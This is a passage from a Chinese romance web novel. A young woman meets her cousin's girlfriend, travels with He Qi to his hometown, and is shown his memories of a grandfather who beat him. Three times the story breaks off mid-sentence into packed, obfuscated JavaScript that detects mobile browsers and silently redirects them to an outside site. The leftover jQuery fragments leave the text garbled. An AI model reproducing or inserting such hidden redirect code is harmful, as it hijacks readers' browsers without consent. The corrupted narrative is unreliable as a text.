蔺澈这时候又发来消息：【不用紧张，你之前见过的，就是暑假我带同事在民宿里聚餐，坐你旁边的那个】 他这么一说，夏汀禾很快就回忆了起来。 对方叫明熙，长相成熟又明媚，个子高挑身材极好，是一眼就可以识别出来的大美女。她当晚穿了一条稍微修身的米白色长裙，大波浪卷发落在肩头，举手投足间都让人挪不开眼。 那时候夏汀禾也看出来了，明熙对其他人都是朋友的态度，唯独到了蔺澈面前，就有点小脾气，使唤他非常顺手。 蔺澈好几次头疼地都叫她“大小姐”、“祖宗”了。 夏汀禾又和他确认了一遍：【是明熙姐姐吗？】 蔺澈：【对，是她，你还记得？她要是知道了，肯定高兴得不行】 事实也是如此，夏汀禾一赶过去，明熙远远地看到了她，就伸了两只手和她打招呼，脸上的笑就没有停止过。 夏汀禾走过去和他们汇合，明熙把头发撩到背后，在蔺澈手上提着的大包小包寻找。 “我给妹妹买的花呢？”她一边找一边问。 蔺澈：“花？不是在这边的白色纸袋子里面吗？” 明熙一翻出来，哪还有花，只剩下了个空袋子。 蔺澈倒吸了一口凉气：“哦，给店主包装完后好像忘记装进来了。” 明熙皱了下眉，委屈地看了他一眼。蔺澈立即回话：“我现在过去拿，你和汀禾先去餐厅，行吗？” 明熙低低地“嗯”了一声。蔺澈抬手摸了下她的头发：“别不高兴。刚化完妆穿了新裙子出来，这么漂亮呢。” 安抚完人，蔺澈跑着回去了花店。 “对不起啊，妹妹。”精心准备的礼物给弄丢了，明熙十分不好意思。 夏汀禾很快摆手说没事，又从她手里接过一些袋子帮忙分担。 她其实刚才看愣了一会儿。一是没想到原来蔺澈这么怕麻烦的人会如此细致，二是惊讶于原来明熙这样漂亮又成熟的大姐姐，也会在男朋友面前表露出孩子气的那一面。 她们两个女生先进了餐厅。 面对面坐下后，明熙拿了消毒湿巾把桌面擦了下。 看夏汀禾好奇地盯着自己，明熙笑了下，解释道：“你哥最近不知道从哪接触了什么，手上被细菌感染了，医生说要多注意下，所以我和他出来吃饭一般都会先用纸巾擦一擦桌面。” 夏汀禾点了点头表示理解。 明媚很快又从旁边的一大堆纸袋中拿出一个：“给你的见面礼。花是我听你哥哥说你今天考完试，想祝你考试顺利去买的。这个才是我想送的。” “你看看喜不喜欢。” 夏汀禾小心翼翼地打开纸袋。 是一个淡粉色的皮质双肩包，细带的，整体设计简单耐看，质感高级，更别说看到上面经典的大牌logo后。 “我本来看到一款更好看的，不过是mini手提包。想了想你是大学生，双肩包可能更实用点，就选了这款。” 包的价格应该超过了四位数，这么贵的礼物，夏汀禾第一反应是拒绝。 然而明熙止住了她，朝她眨了眨眼：“别不收啊，我前几天去你哥家里，你妈妈可是给我包了大红包呢。” 这时候蔺澈也回来了，看她们推拉着，也知道发生了什么。他把花给了夏汀禾，也笑着道：“没事，收着就行。” 夏汀禾只好道了谢，收下了。 她看着花，一时间有点后悔自己在来的路上太过匆忙，没买见面礼。 虽说年龄差了几岁，但饭桌上三个人都聊得格外欢快。 明熙和蔺澈坐在夏汀禾的对面。 两人下意识地关注对方、忍不住靠近彼此、偶尔还会说悄悄话，这些互动落在夏汀禾的眼里，她也莫名地感觉到幸福。 中途明熙去了洗手间，蔺澈把牛排切好后放在她面前，又抬头问夏汀禾：“汀禾你买了回家的票没？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034466|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嗯。”夏汀禾点了点头，回他说：“明天上午的机票。” “明天的？”蔺澈拍了下手，“这不巧了吗？我和明熙也是明天上午的。那咱们三个一起。” 夏汀禾正和切不烂的牛排较劲，突然听到他这么一句，瞬间就停了下来。 “不用了，表哥。”她迅速摇头，“你和明熙姐一起就好了。” 蔺澈疑惑道：“你和室友约好了一块？” “没。”夏汀禾想出含糊的词来：“就是……和朋友约好了。” 好在蔺澈也没深问：“那行吧，反正到时候下午到家了又会见面。” 吃完饭后，夏汀禾又被他们带着去周边玩了一圈。到了晚上，蔺澈才把她送回了学校。 一路上夏汀禾脑海里时不时浮现出蔺澈和明熙相处的画面。 她第一次这么真实地看见恋爱带给两个人的幸福和快乐。 蔺澈相比以前成长了许多，不再是那个吊儿郎当、整天在家里惹爹妈生气的混不吝。 在明熙面前，他似乎不由自主地就变得更有担当、责任心了些。 - 第二天早上，夏汀禾和贺祁在机场碰面。 他们俩早到了两小时。起得太早，现在一闲下来，夏汀禾止不住地犯困。 “困了？”看她时不时合上眼皮，贺祁在旁边问了一句。 夏汀禾迷迷糊糊地点头：“嗯。” 贺祁指了下旁边的座椅：“那你去那边睡会儿？身份证给我，我去拿登机牌。” 乖乖拿了身份证给他，夏汀禾往座椅那边走去。 刚走出去几步路，突然有一道清晰的声音传来：“贺祁！” 夏汀禾回过头，看到有一个女生朝她这边跑了过来，神色紧张，四处张望着在寻找什么。 她就站在离夏汀禾不到一米远的地方。因为跑得太快，停下来时不得不大口地喘着气呼吸。 她还在人群中寻找着。 只听到了一遍，夏汀禾也不确定是不是自己听错了。她想上前询问，但总觉得又有点奇怪。 过了会儿，有好心人走到了女生的面前，把行李箱推给了她：“你好，你的行李箱，刚刚你跑的时候忘记带走了。” 女生怔愣了片刻，反应过来道谢。 她又往夏汀禾刚和贺祁分开的方向那看了一眼，随后听到广播声响起时，才失落地再次走了回去。 夏汀禾坐在休息区，已经没了困意。 没多久，贺祁拿着登机牌过来了。见她睁着眼的，笑了下问：“不是说困了？怎么没睡觉？” 今天的温度低，贺祁穿了件黑色羽绒服，内里是高领灰色毛衣。这一套下来在别人那会显得臃肿，但在他穿着却依旧看起来瘦高，整个人还多了几分少年气。 他一在夏汀禾旁边坐下，旁边就时不时地有目光投过来。 贺祁早就习惯了这种打量，也没觉得稀奇。他只在乎夏汀禾：“嗯？怎么不回话？” 手指缠绕在一起，心里纠结着，夏汀禾低下了头。 她想问清楚，因为心里还是很介意。但又觉得好像没有必要，似乎不应该太讲究这些。 而且，要是听到不喜欢的答案。她会更加不舒服。 “没什么。”夏汀禾摇了摇头。 “又不肯说了？”贺祁凑过来看她，放缓语气道：“待会儿别又一个人偷偷哭鼻子。” “我才不会。” 贺祁还等着她捶自己一下，但是夏汀禾只这么低低说了一句，就没有别的动作了。 意识到不对劲，贺祁正打算说点说什么来缓解气氛。 夏汀禾突然叫了他一声。 “贺祁。” 那声音似乎挺坚决，但又有点犹豫。 贺祁听到她问：“你以前交过女朋友吗？” 说完，夏汀禾又立即补充了一句：“如果有过……” “那你就别回答我了。” 73. 同学 夏汀禾安静地等着。 她努力让自己看起来不那么在意，只是好像没办法做到。耳边是机场里各种混杂的声音，她的心情也跟着变得躁动起来。 过了半分钟，没听到回答。 猜到了结果，心里一冷，她不知所措地站起身来。 “去哪？”贺祁拉住了她的手。 夏汀禾想挣脱开，他又笑了下，道：“我还没说呢。” 她不肯坐下，贺祁只好也站了起来。 “有没有过，你很介意？” 夏汀禾别过脸，不去看他：“反正都是你自己的事。” 他们又没有谈恋爱，就算贺祁有过，也和她没关系。 试探过头了，贺祁收敛了笑，认真和她说：“没谈过，也没交过女朋友，以前对别人都不感兴趣，明白么？” 他一字一句说得再清楚不过，夏汀禾听完后，这才再次看向了他。 那点躁动瞬间被安抚下来，她和贺祁对视着，突然反应过来自己刚才有点太过冲动了，又开始难为情起来。 贺祁看着她，问：“还要我再说一遍？” 夏汀禾不自在地推开他，错开话题：“……要去过安检了。” 知道她不好意思了，贺祁勾了下嘴角，伸手拽着她的手腕，不肯放开。 “那你听到没？” 声音从背后传来，夏汀禾不得不小声回了句：“知道了。” - 过了安检，上了飞机，两个人坐在一块儿。 夏汀禾打算用这个时间来补觉，闭眼前她想起来问了一句：“你老家那边有什么有趣的地方吗？” 贺祁愣了下，很快又调侃着反问她：“想和我一起过去看看？” 他以为夏汀禾只是随口一说，但随后就听到她道：“嗯，可以吗？” 夏汀禾寒假的主要规划就是写论文和考雅思，因为写论文要用到实验室，所以这些都是到时候她打算再回一趟学校来准备的。 回家的主要目的就是和家里人见见面，放松几天。放松的话，去别的地方走走也行。 夏汀禾应了下来，贺祁那边却没了动静。 她扭过头去看，捕捉到他脸上的神情有那么一瞬间变得有些冷淡，不过很快又恢复了原状。 在贺祁打算和她说“好”时，夏汀禾先侧过了身子，拦住了他的话：“我再考虑一下吧，毕竟从这边过去还要坐很久的车。” 贺祁慢半拍回她说：“噢。” 夏汀禾坐在靠窗的位置，背对着他。 广播提醒系好安全带后，飞机开始缓慢上升，窗外的景色逐渐从空旷的地面、建筑变换成了触手可及的云层、天空。 她无端想起之前有次贺母和自己讲贺祁小时候的事，当时贺祁走过来，直接打断了她们俩的谈话。 那时的神情就和刚才一样。 夏汀禾闭上了眼，没再说话。一觉睡到了飞机落地。 贺祁把她叫了起来。 排队下去的过程中，夏汀禾站在他前面。 她正望着远处的一架飞机发呆，突然听到身后的人问：“想好了没？去么？” 心脏猛地跳了一下。 其实他不问的话，夏汀禾可以当作没有发生过。 “……你想我去吗？”她转过身，小声问。 “不过到时候民宿、酒店有点不好找。”贺祁皱了下眉，露出有点难为情的表情，但很快眉眼又舒展开来。 “那就只能睡我家了。”他勾了下唇，笑得肆意张扬。 夏汀禾被他的话弄得有些心慌。 好在这时候前面的人已经开始松动，到她了，夏汀禾又立即转了回去，跟着往前走。 进了Q市的机场，人流涌向出口。 贺祁又一次拉住了她的手腕，凑过来问： “还没说呢，答不答应？” - 夏汀禾怀疑自己是不是太容易被贺祁的话迷惑了，以至于他每次一说点好听的，她就立即会开始心软。 虽然她确实也很喜欢贺祁每次那样和自己讲话，但是…… 这很容易让她判断失误。 夏汀禾都忘记了中间他们俩交流了什么，总之等她回过神来时，自己已经同意了。 “但是我要先回一趟家。”她还是在最后守住了底线。 “噢，行。”贺祁点了下头，很轻松地答应了：“我和你一起。” 夏汀禾：“不要。” 贺祁：“？” 要是一起回去，被蔺妤看见了，那肯定就会发现点什么。 夏汀禾不清楚妈妈对她感情方面的态度，不过就目前她和贺祁之间不清不楚的关系，她还是不太想让家里人知道。 她迅速想出理由来：“……我要和家里人一起吃饭，到时候也没办法陪你。所以你不然趁着这个时间去上次没玩过的地方逛逛？” 说完，她又有些忐忑地看了一眼贺祁。 贺祁深吸了一口气，笑了下，回复道：“行。” 毕竟他现在确实什么都还不是。 也不着急这一时半会儿。 - 把贺祁支开了后，夏汀禾准备回家。 刚点开打车软件，蔺妤突然发了消息过来。 妈妈：【是不是下飞机了？】 夏汀禾盯着看了两秒，才回：【嗯，刚刚到的】 妈妈：【好，那你在机场出口等我，我还有几分钟就到】 夏汀禾完全没想到蔺妤会来接她。之前没听蔺妤提起过这件事。 她也只是在考完试之后无意间和妈妈提过一次。 站在路边等候，寒风迎面吹来，夏汀禾把脸埋在了围巾里，时不时抬头看一眼车，浑身都感觉暖洋洋的。 大概五六分钟，蔺妤在她面前停了车。夏汀禾上去后，才发现上面还坐着蔺澈。 他往后瞧了瞧，问：“哎，你朋友呢？她要是也住这儿，也顺路一道送她回去好了。” 都是因为昨天她拒绝了蔺澈的同行，说了跟朋友约好了一起。 驾驶位上的蔺妤这时候好奇地看了过来。 夏汀禾连忙摆手：“……他已经打车走了，不用了。” “哦，这样啊。”蔺澈点了下头，“那行吧，姑姑那咱们回家吧。家里做了一桌子菜等汀禾回去吃呢，别放凉了。” 等两个人都把头转了回去，夏汀禾这才松了口气。 每次都是越想要隐藏的，越容易被人问起。经历了好几次，她也慢慢习惯了。 回了家，四个人坐在桌边吃了一顿饭。 期间蔺回绪问起亲姐升职的事，蔺妤回了一句：“不出意外的话，可能明年吧。” “我姐真厉害。”蔺回绪高兴，又和儿子一起喝了好几杯酒。 夏汀禾听到这个消息，心情也不由得变得更好了些，坐在妈妈身边，乖乖吃了两碗饭。 晚饭结束后一家人围着聊了会儿天。到了快要睡觉时，蔺妤和夏汀禾才回了对门自己家。 蔺妤回了屋工作，夏汀禾就开始收拾行李。 她打开行李箱打算把日常用品摆桌上，碰到的那一刻才想起自己过一两天还要去别的地方。 这事她还没告诉蔺妤。 夏汀禾在客厅里打开电视，边看边磨蹭着。等蔺妤工作完了，又去外面打了个电话回来，才叫住了她：“妈妈。” 蔺妤抬头看了过来：“怎么了？” 她走了过来，在夏汀禾旁边的沙发坐下，随口问：“要一起看电视？” 夏汀禾纠结着说出了口：“我后天可能要出去玩。” 这种事以往她都是和舅舅舅妈说，第一次告诉蔺妤，蔺妤也顿了下，才继续问：“嗯，要去多久？” “因为不是在我们市区，比较远，所以可能要一周……”夏汀禾估摸了下，“具体还没确定。” 蔺妤点了点头，又问：“和谁一起？” 该来的问题还是来了，夏汀禾想像应对蔺澈那样糊弄过去。 正想着措辞，蔺妤突然来了一句：“谈恋爱了？” 夏汀禾被她的话吓了一跳：“没有……” 蔺妤平静地看着她，像是在思索着什么。她是温柔的长相，但这样淡淡地和人对视时却反而有股莫名的压迫感。 “我不反对。你可以自由处理你感情上的事。”蔺妤再次开口。 听到这里，夏汀禾忽地就很想告诉她实情。 她冲动着，也一股脑地说了出来：“就是，有好感的男生。” 蔺妤看着自己的女儿露出腼腆羞涩的模样，她一刹那愣了神，仿佛看到了二十岁的自己。 她那时候也是这样和父母说的。 那样期待的、盼望着。 蔺妤静了静神：“他让你去的？还是你说想去的？” 怕她误会，夏汀禾赶紧解释：“我说想去的，他都是随便我。” 蔺妤笑了下：“这就开始帮他说话了？” “不是……”夏汀禾红了脸。 她知道妈妈在担心什么，只是她们也没几乎从来交流这上面的事情，夏汀禾也不清楚该怎么阐述。 想了想，她道：“我认识他也挺久了的，知道他是什么样的人。他不会做伤害我的事情的。” “嗯。”蔺妤应了一声，“我相信自己女儿的选择，但你应该也要让我知道是谁？以及你身边有没有朋友认识他？” 夏汀禾从相册里翻了照片给她看，又告诉了她自己的室友都认识贺祁。 “……表哥也认识。”夏汀禾想了想，还是把蔺澈也加了上去，“他之前和朋友在舅舅家的民宿住过一段时间。” 蔺妤看着照片，没做评价，最后只道：“要是确定了关系，带回家里来看看。” - 两天后，夏汀禾贺祁一起坐上了高铁。 路程太长，得找点事来打发时间。夏汀禾提前在ipad里就下了几部剧，本来打算是追剧度过的。 但贺祁不让她看，她一打开，这人就凑过来捣乱，让她陪他聊天。 在他第三次凑过来挡住屏幕时，夏汀禾没办法了，只能把ipad收了起来。 “那你以前怎么回家的？” 贺祁十分坦荡地回她说：“睡觉。” 夏汀禾不理解：“那现在也可以睡呀。” “不想睡。” 贺祁侧过脸来看着她。 他的眼睫颤了颤，那样深情又容易引人深陷的眼神。 又开始了…… 心跳开始加速，脸颊一热，夏汀禾看向窗外。 “那……那你就睁着眼好了。”她找到的应对方法就是不看他。 偏偏贺祁很快就能察觉到，又凑了过来，漫不经心地问她：“为什么不看我？” 说得那么自然。 好像他本人对这事一无所知，十分无辜似的。 夏汀禾实在拿他没办法了，最后只能答应了和他聊天。 后半程路聊着聊着，夏汀禾开始觉得累了，不知不觉，说着话靠着贺祁的肩膀就睡着了。 贺祁伸手把她外套的拉链拉了上去。 没再吵她。 - 抵达目的地时已经是下午。 从高铁站出来，还得坐大巴转去镇上。 这边的气温明显比A市低了很多，马路上的行人基本上都是裹着长款的羽绒服。 夏汀禾从贺祁那儿得知，正是因为气温低，所以这儿冬天可能会下雪。听到这个消息，她立即去查了天气，发现最近是有可能降雪后，更加兴奋了些。 贺祁去找了通往镇上的大巴，找到最早的一趟后，叫了她：“夏汀禾，过来。” 夏汀禾这才收起手机过去。 只是还没走到贺祁身边，旁边有人先靠近了他。 “贺祁？” 是一个个子高挑的女生。 和周围裹着厚厚的羽绒服和棉服的人不同，她戴着贝雷帽，栗色的卷发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038869|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被压在了帽檐下，身上是件掐腰的黑色斗篷大衣，裙摆堪堪到了小腿中部，不用细瞧都能看出身材凹凸有致，脚下一双厚底雪地靴更加显得被腿袜包裹着的小腿细长匀称。 再多看了两眼，夏汀禾认了出来——对方是前两天在机场里见过的那位。 看来不是错觉。 女生那天在机场应该的确是叫了贺祁的名字。 “没想到真的是你啊？你刚刚下高铁吗？”女生和贺祁保持着不远不近的距离，脸上是含羞的喜悦和庆幸。 贺祁似乎也没想到会在这儿看到她，点了点头，回应道：“嗯，刚到。” 夏汀禾过去了，他便公事公办地介绍：“小学同学，容虞。” 容虞朝她笑了笑：“你好啊，你是贺祁的朋友吗？” 夏汀禾“嗯”了一声，也说了下自己的名字。 三个人一同上了大巴，两两挨在一起的位置。 容虞问夏汀禾说：“要和我坐一起吗？” 还没回话，贺祁已经先拒绝了：“她对这儿不熟，和我坐一起就行。你坐后面吧，那也有空位。” 他话说得太直接，夏汀禾怕容虞会觉得尴尬，但正准备说点什么，容虞已经十分自然地接受了：“okok，是我没考虑周到了。看不出来啊贺祁，没想到几年没见，你现在对女生已经这么体贴了。” 夏汀禾只好跟人道了谢，和在高铁上一样，坐在了贺祁的旁边。 容虞很热情，拉着夏汀禾聊了一路。 从她这里夏汀禾知道了贺祁是读小学的时候转学到了这里，不过两年之后又转去了A市。 他们俩以前是同班同学，贺祁转学之后，也就只有等他每年过年回家的时候才有机会见面了。 说完，容虞好奇地问夏汀禾：“你和他是怎么认识的呀？” 正说着，大巴已经停靠。这事解释起来有点麻烦，夏汀禾简单说了两句：“就是在他去我家那边旅游的时候认识的。” 其实更早的是在学校附近那次。 不过那次只是意外，算不上认识。 下了车，又往前走了几分钟，终于到了镇上。 这里其实不算偏僻，即便没有高楼大厦，但也有商城、小型的游乐场等等，比起A市，更多了几分烟火气。快十点了，路边还有摆摊卖烧烤的和亮着灯的麻辣烫店铺。 容虞没拿行李，在前面走着，回过头来问他们：“你们订了住的地方吗？没有的话可以去我家。” “订了。”贺祁一句话回了她。 容虞脸上掠过稍纵即逝的失落。 到了分岔路口，贺祁指了下另外的方向：“我们往这边去，你家应该不在这儿吧？” “没想到你还记得。”容虞笑了下：“那就下次见啦。” “汀禾要是不嫌弃的话，来我家吃饭呀，我妈做的菜可好吃了，带你尝尝本地的特色。” 夏汀禾礼貌地道了谢，也客气地回了一句：“有机会的话一定去。” - 民宿就在一条老街上，环境不错，外面是白色围墙，推开木门进去便是种满了花草树木的院子，里面的建筑也保留了古典的风格，许多家具陈设都是木制的。 他们俩住的二楼，房间是紧挨着。 坐了一整天的车，贺祁先去浴室洗了个澡。 出来后，他接到爸妈的电话。 “妈。”贺祁边擦着头发边喊了一声。 贺母应了下，问他：“到民宿了吗？” 贺祁：“嗯。” 贺母：“晚饭呢？吃了吗？” 贺祁：“等会儿出去随便吃点吧。民宿里也有提供。” 他没把自己和夏汀禾一起过来的事告诉父母。 简单问了这两句，两个人似乎就再也没了别的可以说的。 电话是通着的，那头已经没了声音。贺祁开口问：“还有事吗？” 贺母这才接了话：“咱们在那边也没什么亲戚了，你每年还回去做什么？以后就不去了，行吗？” 小镇是爷爷奶奶待的最久的地方，贺祁的父母虽说也是在这里长大的，但后来工作了结了婚，几乎就很少再回来了，更别说家里的两位老人都去世了后。 不过贺祁清楚父母为什么不想自己回来。 这是他们一生中最后悔的决定的开始。每次贺祁过来，贺父贺母就会想起那些心痛的记忆。 他们不愿贺祁去回忆，自己也不愿去想。 贺祁没答应也没拒绝她的话，只说：“爷爷去世之前回来了这里一趟。他自己不会坐车，托陌生人把他带过来的。” 贺祁的父母同时沉默了起来。 要是他们听老爷子的，肯愿意抽出时间来陪他回一趟家，可能他也就不会意外出事了。 贺祁轻呼了一口气，缓了缓，对那边说：“有点饿了，我去外面买点东西吃。” 许久，贺母才回话：“好。” “那你吃完了，也早点休息。”她的声音已经开始变得哽咽。 挂了电话。 贺祁也没下去，只坐着放空了一会儿。 直到房门被人敲了下。 “贺祁。”门外是夏汀禾。 贺祁很快起身走了过去。 门被打开，看到他的头发还没完全干，夏汀禾有些诧异地问：“你洗完澡了？” 贺祁笑了下：“刚洗完，怎么了？” “没什么。”夏汀禾摇了摇头，掩饰着说：“那我也回去洗澡睡觉好了……” 贺祁看了看她，推测着说：“饿了？” 坐了五六个小时的车，虽然路上也吃了些零食，但总是不够饱腹。 她是想等着到了这里再吃的，没想到贺祁是准备直接睡觉了，所以也不好再麻烦他。 只是他现在主动问了，夏汀禾也没再别扭：“嗯，有一点。” 她看着贺祁进屋拿了条围巾，片刻后，围巾又到了她脖子上。 “那就下去吃东西。” 74. 生气 出了民宿，一阵冷风吹过，围巾挡不住耳朵，夏汀禾索性把羽绒服上的帽子也戴上了。 看着街边各种冒着热气的小吃，她心里正想着什么时候会下雪呢，旁边的人突然笑了一声。 “你笑什么？”夏汀禾疑惑地看过去。 贺祁咳了下，别过脸说：“没什么。” 肯定有事。 夏汀禾想叫住他问清楚，贺祁已经拉着她走向了旁边的夜宵店。 “很漂亮。”他丢下这句话。 门店是玻璃门，进去前夏汀禾对着看了下。因为高马尾不方便戴帽子，她把头发都散开了，被风吹了后更是乱糟糟的，脸颊还有些红。 所以……哪漂亮了？ 分明就是随便说的。 夏汀禾跟着他进了店内，点了一碗排骨米线。贺祁没点，只帮她倒了水，就在她对面坐下了。 夏汀禾问他：“你不吃吗？” 贺祁：“不饿。” 停了下，他补充了句：“这里没有想吃的。” 夏汀禾“哦”了一声，又看了他一眼。 要是以前贺祁这么说，夏汀禾可能会觉得他是真的没胃口，但相处了这么久，她慢慢发现不对劲——贺祁好像确实是不怎么喜欢吃东西的，无论什么食物，甚至有时候还有点厌恶。 拿着菜单扫了几眼，夏汀禾有些纠结地说：“他们家的番茄鸡蛋米线看起来也挺好吃的。” 贺祁：“那和老板说一声换一碗？” “可是排骨的我也想吃。”夏汀禾嘟囔了一句，“但是两碗我吃不完。” 她望着贺祁，小声问：“你和我一起吃，可以吗？” 贺祁懂了她的意思，笑着应了下来：“行。” 等两碗米线端上来了，贺祁又另外拿了两个碗，分成了四份。他尝了一口，味道还行。 中途习惯性地去喝水时，才发现夏汀禾在盯着他看。 “还想吃？”贺祁挑了下眉。 夏汀禾：“不是！” 他到底以为自己可以吃多少碗啊。 夏汀禾找出话题来：“你和容虞以前关系应该还不错吧。” “前几天问我有没有过女朋友。”贺祁笑了下道：“现在盘问身边的异性。怎么？开始对我的事感兴趣了？” “……我就是随便问问。”夏汀禾低下头去喝汤，“你不说就算了。” 她又听到贺祁正经起来问：“为什么这么说？” 夏汀禾：“因为她对你以前的事挺了解的。如果你们关系不好的话，她应该不会知道。” 贺祁这样的性子，如果只是学校里偶尔有交流的同学，他是不会让人有机会了解到自己的。 贺祁没否认：“以前确实挺好的。” “她性格很好，人也是。” 这是夏汀禾第一次从他口中听到对别人的评价，是赞扬的，也听得出来是欣赏的。 夏汀禾不可否认听到他这么说之后，自己的心情有一点点微妙的起伏。 尤其想到那天在机场里容虞心慌错乱地找贺祁的画面后。 如果只是普通朋友，应该不会那么紧张？ 换句话说，他们可以看作是青梅竹马，从小一起长大的。 容虞是夏汀禾会喜欢交朋友的那一类性格，热情又开朗。而且人家对她也很客气礼貌。 不喜欢自己随便乱猜测，夏汀禾晃了晃脑袋，回了一句：“嗯，我也觉得她人很好。” 她没再问，安静地吃完了宵夜。 - 第二天夏汀禾跟着贺祁去了他小时候住的地方。 是一栋在巷子里的老宅。 外面看着像是要荒废的模样，里面却收拾得很干净，空间也大，院子里花鸟鱼虫都有。 贺祁和她解释说：“因为也没人住了，所以有时候会借给邻居用。” 夏汀禾第一次接触这种庭院，新鲜感上来，踩着木地板在屋子里到处走走转转。 “夏汀禾。”贺祁忽地叫住了她。他招了下手，让她过去。 夏汀禾没想到还有木梯可以上去。上去了才发现原来卧室是在二楼。 屋子里的东西摆得整齐，书桌、墙上的书法字画、床头柜上放着赛车模型一些小玩意，夏汀禾几乎能想象出来贺祁小时候生活在这里的模样。 推开二楼的窗户，往外便可以看到这一片区的风景，虽说基本上都是一样的白墙黑瓦建筑，没什么新奇的，但巷子里人来人往、熙熙攘攘的画面却可以尽收眼底。 “本来书桌是在角落的，我说那边灯光太暗了，让爷爷帮我挪到了窗边。” 夏汀禾看了下一米多长的实木书桌，有点惊讶：“搬起来应该挺费劲的吧。” “确实。”贺祁笑了笑。 所以他是趁着某天爷爷心情好的时候求他的。 屋子里的灯本就偏暗，有时候到了晚上，也是一个人在家。他做着作业，从窗户里往下看，等着爷爷回来。 卧室右侧的墙上，还有一扇门。 夏汀禾指了下问：“这里可以进去吗？” 贺祁眼里闪过一瞬间的无措。 他装作不经意地回答：“里面没什么，就是堆放杂物的。很久没打扫了，很多灰尘，别去。” 的确已经很久有人没去过了。 只有小时候的贺祁，为了躲避爷爷精神不好时的打骂才会心惊胆战地躲进去。 再次走出来，要么就是肚子饿得疼醒了，要么就是身上的伤口淤青碰到了哪又开始流血感觉到痛了。 “哦。”夏汀禾听他的，没再往前走，转而又去了阳台上。 她是打算俯瞰一下全景的，但没想到宅院之间挨得近，听到了邻居家的谈话声。 就这么巧，夏汀禾听到了贺祁的名字。 “隔壁老贺家的孙子好像回来了。” 听着是较为年迈的老太太，大概是在对着自家的孙子说话，教训着人，语气有点冲。 “你不是和人家以前在一个班上读过书的吗？去打个招呼，别放假了整天就待在家里玩手机打游戏。人家可比你有出息多了，名牌大学的学生。” 孙子显然不想动：“哎呦奶奶，都和您说过一百遍了。我上学的时候，和他都没说过几句话。他每天独来独往的，也不搭理人啊。” “而且班上的人都不爱和他……” 男生还打算说点什么，突然一道喊声止住了他：“诶，王奶奶，您家里有打火机吗？家里要点蜡烛，没找着。” 男生转了话锋：“容虞？” 后续邻居家的谈话就已经变成了找蜡烛，夏汀禾没再听，她怔愣地在阳台上站了许久。 直到楼下传来敲门的动静。 往下一瞥，看见是容虞过来了。 贺祁不知道去了哪，夏汀禾跑下楼去给她开门。 “是你啊？”容虞瞧见她，显然有些诧异，“贺祁和你一起过来的吗？” 夏汀禾点了点头：“嗯。” 容虞走了进来，问她：“这里很漂亮吧？” 没等夏汀禾回答，她熟练地从小路绕到了旁边的屋子，指了下挂在屋门前的鸟笼，道： “你看，这是我家里养的鸟，我们自己家它不喜欢，就爱待在这儿。可能是觉得贺祁家里更舒服吧，我就一直把它放在这里了。” 夏汀禾对鸟类不是很了解，只觉得容虞养的这只很可爱，淡黄色的羽毛，巴掌大小的一只。 容虞也没问贺祁在哪，又沿着屋子里的一圈，和她介绍了这里的东西分别是谁家的。 夏汀禾对这些人都不熟，一路听下来只知道大概有七八户人家。 容虞告诉她：“这些人基本上都是贺爷爷的老朋友。” 看得出来，贺祁的爷爷在小镇上的邻里关系并不差。 “他爷爷是做什么的？” 夏汀禾以为是老师，容虞却道：“木匠，以前是帮镇上的邻居做家具什么的。后来年纪大了，干不动重活，就开始在家里做一些手工艺品。” “就贺祁的房间里的书桌，都是贺爷爷亲自做的。” 容虞说的应该是贺祁刚才和她说的那张。 只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048504|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 原来她也去过二楼吗？ 也是贺祁带她去的么？ 容虞还在说着话，夏汀禾的思绪却不由得飘远了。 直到听到她问：“哎，贺祁呢？他去哪了？” 夏汀禾回过神来。 发现贺祁已经不见了很久。 - 站在储物室的门前，贺祁定定地看了一会儿。 片刻后，推了门进去。 一打开，灰尘扑面而来，让他连着咳嗽了好几下。 自从搬家之后，这里面的东西再也没有动过。 狭小的空间里，墙壁连着角落堆满了杂物，地上散落着泛黄的纸张。小时候他还可以在这儿躺着，随便拉一个纸箱子折起来垫着睡觉。 现在走进去才发现，这地方这么小，光是站着挪几步都费劲。 他好像看到自己蜷缩在角落里，咬着牙拼命地忍着不发出声音。 一旦被发现了，就会被拎出去打。他爷爷喜欢扇耳光，更爱踹人。 每次被打了之后，贺祁就得戴着口罩、穿长衣长裤去上学。 夏日里闷热，他几乎喘不过气来。 在这种时候，贺祁会痛恨他，无比地恨他，甚至希望有天醒来自己死了或者是他没了。 但这偏偏也是唯一能让他感受到爱的人。 爷爷会因为他在学校里被孤立，带着他转学；会因为他被别人欺负了，直接闹到对方家里去；在他感冒发烧的时候，还会陪在他身边给他做木雕玩具…… 贺祁有时候觉得自己分裂成了两个人。 一面厌恶着，一面渴望着爱。 